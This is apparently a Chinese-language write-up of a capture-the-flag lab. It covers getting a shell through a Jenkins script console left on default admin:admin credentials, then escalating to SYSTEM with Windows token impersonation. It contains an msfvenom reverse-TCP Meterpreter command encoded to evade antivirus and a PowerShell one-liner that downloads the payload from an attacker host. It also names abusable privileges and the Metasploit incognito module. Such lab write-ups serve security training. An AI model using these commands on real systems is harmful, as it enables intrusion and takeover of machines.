利用 Jenkins 获取初始 shell,然后利用 Windows 身份验证令牌提升您的权限。
Nmap
Jenkins
admin:admin
/script到执行命令的地方
脚本控制台允许我们运行“任意 Groovy 脚本”
1 | Thread.start { |
切换到meterpreter-shell
生成一个马
1 | msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.40.87 LPORT=5556 -f exe -o shell.exe |
此有效负载生成编码的 x86-64 反向 tcp Meterpreter 有效负载。有效载荷通常经过编码,以确保它们被正确传输,也可以规避反病毒产品。防病毒产品可能无法识别有效负载并且不会将其标记为恶意。
1 | powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')" |
1 | 起一个监听 |
提权
我们有了初始访问权限,让我们使用令牌模拟来获得系统访问权限。
Windows 使用令牌来确保帐户具有执行特定操作的正确权限。当用户登录或通过身份验证时,帐户令牌会分配给帐户。这通常由 LSASS.exe 完成(将其视为身份验证过程)。
此访问令牌包括:
- 用户 SID(安全标识符)
- 组 SID
- 特权
https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens
有两种类型的访问令牌:
- 主要访问令牌:与登录时生成的用户帐户相关联的令牌
- 模拟令牌:这些允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源
对于模拟令牌,有不同的级别: - SecurityAnonymous:当前用户/客户端不能冒充另一个用户/客户端
- SecurityIdentification:当前用户/客户端可以获取客户端的身份和权限,但不能冒充客户端
- SecurityImpersonation:当前用户/客户端可以在本地系统上模拟客户端的安全上下文
- SecurityDelegation:当前用户/客户端可以在远程系统上模拟客户端的安全上下文
其中安全上下文是包含用户相关安全信息的数据结构。
帐户的权限(在创建帐户或从组继承时授予帐户)允许用户执行特定操作。以下是最常被滥用的特权:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
1 | whoami /priv 查看所有权限 |
可以看到启用了两个权限(SeDebugPrivilege、SeImpersonatePrivilege)。让我们使用允许我们利用此漏洞的隐身模块。输入:_load incognito_加载 metasploit 中的 incognito 模块。请注意,如果前面的命令不起作用,您可能需要使用_use incognito命令。_还要确保你的 metasploit 是最新的。
1 | use incognito |